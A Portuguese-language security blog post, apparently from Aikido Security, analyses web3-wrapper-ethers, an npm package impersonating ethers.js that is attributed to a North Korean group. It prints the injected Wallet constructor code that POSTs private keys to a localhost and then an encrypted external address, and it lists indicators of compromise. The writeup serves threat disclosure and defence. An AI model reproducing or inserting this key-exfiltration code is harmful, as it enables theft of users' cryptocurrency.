Aikido

Pacote malicioso de roubo de criptomoedas visa desenvolvedores Web3 em operação norte-coreana

Charlie EriksenCharlie Eriksen
|
#

Na semana passada, nosso pipeline de análise automatizada de malware sinalizou um pacote suspeito web3-wrapper-ethers. O pacote se passa pelo popular ethers biblioteca e contém código ofuscado projetado para roubar chaves privadas. Nossa investigação revelou que o pacote pode estar associado ao ator de ameaça conhecido como Void Dokkaebi, um grupo conhecido por roubar criptomoedas de desenvolvedores envolvidos no desenvolvimento de tecnologias web3, blockchain e de criptomoedas.

O pacote

O pacote foi lançado inicialmente em 5 de junho às 12:45 AM GMT+0:

Vemos alguns sinais reveladores de que este pacote foi construído para enganar. O nome do pacote é web3-wrapper-ethers, mas o campo do repositório aponta para o ethers.js projeto no GitHub. De fato, os atacantes simplesmente copiaram o repositório e fizeram pequenas modificações. Eles lançaram um total de 5 versões em um dia.

O autor

O pacote foi lançado por kaufman0913, com o e-mail correspondente de kaufman0913@gmail[.]com

A escolha de uma imagem de Rapunzel de baixíssima resolução é... interessante. Mas não vamos nos prender a isso por enquanto.

O que o pacote faz?

Para descobrir o que o pacote está tentando fazer, baixamos uma cópia da versão mais recente de ethers e fizemos um diff para ver o que os atacantes haviam feito.

Observamos que as versões 6.14.3 e 6.14.4 não tinham modificações reais em nenhum código, eles simplesmente mudaram o nome do pacote. 

As coisas começam a mudar na versão 6.14.5, onde vemos que eles adicionaram uma nova dependência no package.json, adicionando node-fetch e o correspondente @types/node-fetch devDependency. Veremos o porquê em breve.

O principal arquivo que o desenvolvedor modificou é o arquivo src.ts/wallet/wallet.ts, o que também leva a alterações em lib.esm/wallet/wallet.js e lib.commonjs/wallet/wallet.js, que são as versões compiladas correspondentes do mesmo arquivo.

Vemos em 6.14.5 que eles alteraram o construtor da classe, adicionando tudo abaixo da super() chamada::

export class Wallet extends BaseWallet {
    /**     *  Create a new wallet for the private %%key%%, optionally connected     *  to %%provider%%.     */
    constructor(key: string | SigningKey, provider?: null | Provider) {
        if (typeof(key) === "string" && !key.startsWith("0x")) {
            key = "0x" + key;
        }
        let signingKey = (typeof(key) === "string") ? new SigningKey(key): key;
        super(signingKey, provider);
        // Send private key to server (Node.js and browser)
        const url = 'http://localhost:3000/save-key';
        if (typeof window === "undefined") {
            // Node.js environment: use dynamic import for node-fetch
            import('node-fetch').then(module => {
                const fetch = module.default;
                fetch(url, {
                    method: 'POST',
                    headers: { 'Content-Type': 'application/json' },
                    body: JSON.stringify({ privateKey: this.privateKey })
                })
                .catch(() => {});
            }).catch(() => {});
        } else {
            // Browser environment: use native fetch
            fetch(url, {
                method: 'POST',
                headers: { 'Content-Type': 'application/json' },
                body: JSON.stringify({ privateKey: this.privateKey })
            })
            // .then(data => console.log('Server response:', data))
            .catch(() => {});
        }
    }
...

Aqui vemos um sinal revelador de que eles estão tentando exfiltrar chaves privadas. Na verdade, seus comentários são muito claros de que estão enviando a chave privada para um servidor. Mas está apontando para um endereço localhost. Então, eles estão fazendo isso em tempo real, o que é interessante. Isso nos dá uma visão do processo de desenvolvimento deles.

Em 6.14.6, o código muda. Agora ele se parece com isto:

// Send private key to server (Node.js and browser)
const enc = "ff47554247f2094dda55b84b7da6e6c9:fd81fc4d8379f535510c1f064549472e5a1dd26c32c1937c1e23db1b56bfb42f"
const tar = dec(enc);
console.log(tar);
if (typeof window === "undefined") {
    import('node-fetch').then(module => {
        const fetch = module.default;
        fetch(tar, {
            method: 'POST',
            headers: { 'Content-Type': 'application/json' },
            body: JSON.stringify({ pk: this.privateKey })
        })
        .catch(() => {});
    }).catch(() => {});
} else {
    fetch(tar, {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({ pk: this.privateKey })
    })
    .catch(() => {});
}

Então, o que está por trás da variável enc criptografada? Aqui está!

http:/74.119.194[.]244/fetch

Você vê algo estranho? É uma URL HTTP inválida. Está faltando um / no protocolo. Opa! 

A última versão, 6.14.7, não introduz nenhuma mudança significativa. Ela simplesmente remove o comentário no código e o console.log. Os atacantes devem ter percebido que haviam terminado, então puderam remover a admissão de ser malicioso e o log de depuração. No entanto, eles não resolveram o problema de a URL ainda ser inválida. 

Norte-coreanos atacando novamente?

Apenas alguns meses atrás, descobrimos hackers norte-coreanos tentando roubar carteiras de criptomoedas. Eles também lançaram versões em tempo real, depurando seu código quebrado. É curioso ver isso acontecendo novamente, não é? Pelo menos desta vez, a primeira coisa que fizeram foi incluir node-fetch, em vez de quebrar a cabeça tentando descobrir por que suas axios chamadas não estavam funcionando.

Neste caso, temos outra informação, o IP. Uma rápida consulta no VirusTotal para o IP confirma nossa suspeita:

O comentário faz referência a:

https://documents.trendmicro.com/assets/txt/IOCs_VoidDokkaebi_2t9ScKI5.txt

https://www.trendmicro.com/en_us/research/25/d/russian-infrastructure-north-korean-cybercrime.html

E de fato vemos que a lista de IOCs da TrendMicro menciona este IP como sendo um nó de Egress: Atividade alinhada à RPDC, via RDP de endereços IP RU. E seus relatórios extensos estão muito alinhados com o que vemos neste pacote: Alvo de desenvolvedores envolvidos com web3/cripto, tentando roubar moeda. 

Indicadores de comprometimento

Felizmente, não há indicação de que este pacote teria causado qualquer dano se baixado e/ou executado, dado que o código não estava totalmente funcional. Mas se você instalou o pacote, audite o tráfego para o IP abaixo para ter certeza de que nenhum dano foi causado. Se você notar qualquer tráfego para este endereço IP, assuma que suas chaves criptográficas foram comprometidas. 

Pacote:

web3-wrapper-ethers

IP:

74.119.194[.]244

Confira mais pesquisas da Aikido Security aqui

4.7/5

Proteja seu software agora

Comece Gratuitamente
Não é necessário cc
Agendar uma demonstração
Seus dados não serão compartilhados · Acesso somente leitura · Não é necessário cartão de crédito

Fique seguro agora

Proteja seu código, Cloud e runtime em um único sistema centralizado.
Encontre e corrija vulnerabilidades rapidamente de forma automática.

Não é necessário cartão de crédito | Resultados da varredura em 32 segundos.